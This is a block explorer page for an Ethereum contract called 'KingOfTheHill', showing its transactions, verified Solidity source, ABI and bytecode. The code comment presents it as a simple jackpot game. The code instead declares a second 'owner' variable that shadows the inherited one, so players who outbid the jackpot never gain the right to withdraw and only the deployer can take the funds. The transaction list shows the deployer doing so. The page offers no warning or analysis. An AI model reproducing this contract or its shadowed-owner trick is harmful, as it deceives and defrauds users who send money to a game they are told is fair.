Contract 0x4Dc76cFc65B14B3fD83C8BC8B895482F3CBC150A 1

 
 
Txn Hash
Method
Block
From
To
Value
0xea7ca4fa1c0325431344a5f37a9430642db87f7a0ed5c273e1e525416380f083Take All116858122021-01-19 12:43:01568 days 10 hrs ago0x80028f80c7d5959c3eaf45a95bf3a1a0724352f6 IN  0x4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a0 Ether0.0016980
0x11713fad6712b7fdafdf245a71e061fd24331858d5d052aa48281e19be1223e1Transfer47556282017-12-18 18:00:111696 days 5 hrs ago0x00a0d727fe2a08e9c33613949d2268822534608b IN  0x4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a0.42 Ether0.0010087827.465
0xbbe67e38e60611a56cc2a8352d54a5cb443aa9cf99643e158f89a43b00613c3eTransfer47555912017-12-18 17:50:521696 days 5 hrs ago0x00a0d727fe2a08e9c33613949d2268822534608b IN  0x4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a0.42 Ether0.0007592536.155
0x577e17262ff3c2e45e69be0b98283c7e39775f94f3af4fe6cee29e6b797293aaTransfer47494482017-12-17 16:39:341697 days 6 hrs ago0x22dc0138701299c77a8fd5226746675a807ea9ee IN  0x4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a0.21 Ether0.0007713321
0xfd5f91b4c34e232d4587089fd80e351d73a9ceb2dd18a9faabcb1969976d20f6Transfer45270132017-11-10 16:06:101734 days 7 hrs ago0x125d657d5cd16bf4864a2850d3f2541d9a0f3b50 IN  0x4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a0.1 Ether0.000036731
0x530a8ba6a4e7f97d6d9d872b780e64eace2748b9dd33ede784d31113f9e781edTransfer45251572017-11-10 8:51:341734 days 14 hrs ago0x80028f80c7d5959c3eaf45a95bf3a1a0724352f6 IN  0x4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a0.1 Ether0.000081731
0x50f803e0bf9e782397350aceeaf7afcc24435dcfaa2e60b305bd6e2ff36c26a60x6060604045251392017-11-10 8:47:471734 days 14 hrs ago0x80028f80c7d5959c3eaf45a95bf3a1a0724352f6 IN  Create: KingOfTheHill0 Ether0.000217961
[ Download CSV Export 
Latest 1 internal transaction
Parent Txn Hash Block From To Value
0xea7ca4fa1c0325431344a5f37a9430642db87f7a0ed5c273e1e525416380f083116858122021-01-19 12:43:01568 days 10 hrs ago 0x4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a0x80028f80c7d5959c3eaf45a95bf3a1a0724352f60.83 Ether
[ Download CSV Export 
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
KingOfTheHill

Compiler Version
v0.4.11+commit.68ef5810

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2017-11-10
*/

pragma solidity ^0.4.11;

// Simple Game. Each time you send more than the current jackpot, you become
// owner of the contract. As an owner, you can take the jackpot after a delay
// of 5 days after the last payment.

contract Owned {
    address owner;    function Owned() {
        owner = msg.sender;
    }
    modifier onlyOwner{
        if (msg.sender != owner)
            revert();        _;
    }
}

contract KingOfTheHill is Owned {
    address public owner;
    uint public jackpot;
    uint public withdrawDelay;

    function() public payable {
        // transfer contract ownership if player pay more than current jackpot
        if (msg.value > jackpot) {
            owner = msg.sender;
            withdrawDelay = block.timestamp + 5 days;
        }
        jackpot+=msg.value;
    }

    function takeAll() public onlyOwner {
        require(block.timestamp >= withdrawDelay);
        msg.sender.transfer(this.balance);
        jackpot=0;
    }
}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[],"name":"withdrawDelay","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"jackpot","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"takeAll","outputs":[],"payable":false,"type":"function"},{"payable":true,"type":"fallback"}]

60606040525b60008054600160a060020a03191633600160a060020a03161790555b5b61021c806100316000396000f3006060604052361561005f5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630288a39c81146100b95780636b31ee01146100db5780638da5cb5b146100fd578063de3bcb9714610136575b6100b75b6002543411156100ac576001805473ffffffffffffffffffffffffffffffffffffffff19163373ffffffffffffffffffffffffffffffffffffffff161790554262069780016003555b60028054340190555b565b005b34156100c157fe5b6100c9610148565b60408051918252519081900360200190f35b34156100e357fe5b6100c961014e565b60408051918252519081900360200190f35b341561010557fe5b61010d610154565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b341561013e57fe5b6100b7610170565b005b60035481565b60025481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6000543373ffffffffffffffffffffffffffffffffffffffff9081169116146101995760006000fd5b6003544210156101a95760006000fd5b60405173ffffffffffffffffffffffffffffffffffffffff33811691309091163180156108fc02916000818181858888f1935050505015156101e757fe5b60006002555b5b5600a165627a7a723058209b4c889ccf243d5ca86c6dd166e112d14dbf6e20dc14faf3e543051be0f2e5e90029

Swarm Source

bzzr://9b4c889ccf243d5ca86c6dd166e112d14dbf6e20dc14faf3e543051be0f2e5e9
Block Transaction Difficulty Gas Used Reward
Block Uncle Number Difficulty Gas Used Reward
Loading
Loading
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.